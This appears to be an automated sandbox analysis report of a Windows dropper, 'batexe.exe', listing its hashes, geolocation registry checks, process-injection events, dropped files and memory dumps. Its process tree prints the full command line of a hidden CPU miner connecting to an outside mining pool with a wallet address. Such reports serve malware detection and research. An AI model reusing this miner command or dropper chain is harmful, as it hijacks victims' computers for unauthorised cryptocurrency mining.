73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
309s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19-02-2024 18:27

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4044	b2e.exe
848	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
848	cpuminer-sse2.exe
848	cpuminer-sse2.exe
848	cpuminer-sse2.exe
848	cpuminer-sse2.exe
848	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4832-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4832 wrote to memory of 4044	4832	batexe.exe	84
PID 4832 wrote to memory of 4044	4832	batexe.exe	84
PID 4832 wrote to memory of 4044	4832	batexe.exe	84
PID 4044 wrote to memory of 4396	4044	b2e.exe	85
PID 4044 wrote to memory of 4396	4044	b2e.exe	85
PID 4044 wrote to memory of 4396	4044	b2e.exe	85
PID 4396 wrote to memory of 848	4396	cmd.exe	88
PID 4396 wrote to memory of 848	4396	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4832
- C:\Users\Admin\AppData\Local\Temp\9606.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9606.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9606.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4044
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A028.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4396
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9606.tmp\b2e.exe

Filesize
6.5MB

MD5
2b4ebf9c6cc8303771876bc1b136a350

SHA1
0847091cf7005c5203e8275f69794050f1808500

SHA256
f60143bf0de2c6251136522a29df5e9ef06a60af2951a1c92fe9686a0047cad8

SHA512
f7108e595fb1a1e1769a9fd66abcfd150be41db4e41cef41edc720b9e12e5e51e6ea39678625655e8d36c8995180dba5c2e6e5fc7d2ee3543780dad1d151675d

Download Submit
C:\Users\Admin\AppData\Local\Temp\9606.tmp\b2e.exe

Filesize
384KB

MD5
3c0bec088d86bb620c8b42308d6098b3

SHA1
f486f2b80f76da0966fb3ccbc33fb96a4f890835

SHA256
1dfda8d76528af8231198a0ad4cbb09b05155c5e35f565ca78f81db527841d07

SHA512
bc4a62dacaf7990d21cc1bc04412acdd80659371fb4205065e0e917885076be8615d766f6640683642603c1c0e551efde0236acb3d6a772dc1af263cb1627414

Download Submit
C:\Users\Admin\AppData\Local\Temp\9606.tmp\b2e.exe

Filesize
513KB

MD5
70cc5a703da02353c24c87f60ba4ecde

SHA1
b0c9febaa65f464db7be290de0b79ab2795ce3bf

SHA256
0c0fabdeb1a73d6f10e2cd19acdbf51d847f2427ee511c6fbaa9dc310ec7c098

SHA512
72e7224a12e2439c55dbbbf2e92e0450e8f734ab2db548cfbc357ee78a272d54cfd4ac5773a8084df115ee59d012dd352ec57ef982308708746f5a717aa02a83

Download Submit
C:\Users\Admin\AppData\Local\Temp\A028.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
689KB

MD5
2780a538e1e6fdbec026ce7fa5d49433

SHA1
8255eb644496ea187a0bcddee757926c21f3f934

SHA256
bced83736fc812de7f903e3308f24c24a9da28e103514ba8d9853033281bb4ff

SHA512
ad95c1571b3dac8786c25872f02606e3fc7164706198af3d614b6580c1a8fa4f03535853d31ce5c9f3b603c99fc5c80d661b1c745ff35463e2dc623aeee44b17

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
380KB

MD5
7981f65dc3a914a5e6ec7b8361c8ee9f

SHA1
8d21fabe2053d333cc497d71d58d9284d17df3c8

SHA256
6cd8b2d111375b04b587c2abf3fd3ccc7acd6b1d1874181fb3462c75e9bdd9ef

SHA512
80ef2b8fe3a01124fdf37f29636528b37a091ee63781b8abe739cbb6b4d5be53502cc51bff45d168b79bfb41125774ea93a328aa2310aa55311b7f9e1a195343

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
370KB

MD5
7c8cb1de237bbe1d08bbc8e11f45a1d7

SHA1
5f4ed95d52a6a24275375e0f6029813d4e2bcdbc

SHA256
3bded45e023035921595007e6f3c85d5457d02c1f1e157fd68af2bbc1a8045ec

SHA512
f924100548a367fcc1a1b57c8d09417cd9017b0f62e5c26baaedaa26a569ebc070401dfa34cc6d7940785a911d4b3cbc8dc1c73f289fcbab0cbbac7cc0284f10

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
801KB

MD5
d0acc7dd27b68c94146d37c1c6b483aa

SHA1
13f18e113d3227fb6d7c1613fdd4dc19f13f1980

SHA256
c9626cfa2cc2643b67129b3fd62c6642f7fc647a957de66ce0662f342d95fe4d

SHA512
46c71e59a27ef0dbe03ec39f4e02bac5c5f4f3881b31525447f9ea393f5d43e5a6169c65d6ef726f9ef419352ff224eca2887d05702b3309894dfe6319c7b0ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
645KB

MD5
ffd1f25ff905890192ed7c1bbbb41578

SHA1
b2bf49d8edc3b5e9435c332fb781832de6ad67e3

SHA256
939077ac87ebd11e1270c7206bfb8d0eac321a6b891b155ada1396ca4720b5d3

SHA512
eb5d4d65a8965bcf97d42bade31dfd02d057ef4da2b6f558ca61b4256041a0436c5ff97335f5b8d1bfc8301c2ecfb33864c10ac0f5a8b2edbbc9ee9bded00025

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
331KB

MD5
51f0313553039f22ce918cd45f63db2d

SHA1
ef0e73e0c033f094c9d195b620ba5f9c19a121f7

SHA256
5a5a1ce3485597bc166c088ec8fb2904b0f0031021518c60aae9a35cc84c9612

SHA512
1e9775f3d570f95676d669f79d9e17a86bbf0a4e32ad79b6755cd7d66bc7b6104889272b18c673ef4582e9ddbb1fa22014d17f5354e77b690522b527120a97ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
636KB

MD5
0e6991e16a44cba97edb60d8de15db5c

SHA1
ebe0e66984cdeab3f676db1c0c026f7e542575eb

SHA256
b779444d82f5d29e08d7fcc91726ac9732e952b1297e8df28f19684977bc9d1e

SHA512
c2531ee64653af0af22ed20c05cd4f96de911945ea1c6b37ccdce37717364dc4d5cbf184a904c1d5ca8728c6fc2ff6c5e5296ddc82d588bde85a448ad6972c1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
774KB

MD5
287f7e38c19749d7b8f8620f4a12c78d

SHA1
8a0b0a25c1617e27e40e2892851064616e44880e

SHA256
5c57f91552deeec340c721b85719a5db97f991b1777b4ed342f0f2240c8e49fb

SHA512
4a345fa2320a615825286fe40b0a9691d097a85ab262bce54637aa6af7561e5ebbf81df6ae33777a4b4c8ed3b262834df00273ba22a5800facb76b0a4d55173f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
521KB

MD5
035b81d22d61b60e5f7991aa4e1ca727

SHA1
b49d59b30d4fec70c25fe1a8b57a3090b9a9b6b1

SHA256
db68c42f390f06a8fcef0332d0f061abece91078f6578ba81214cfba1eb2e389

SHA512
85da94a98e4237237b0dba736b09accf85f598dbf0351bbbce8a1f54a9b647f994f5aa1eb93c989d66c563c420e59be2b57b861954e0154bf0caeab42da076a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/848-46-0x0000000061140000-0x00000000611D8000-memory.dmp

Filesize
608KB

Download
memory/848-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/848-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/848-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/848-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/848-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4044-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4044-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4832-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download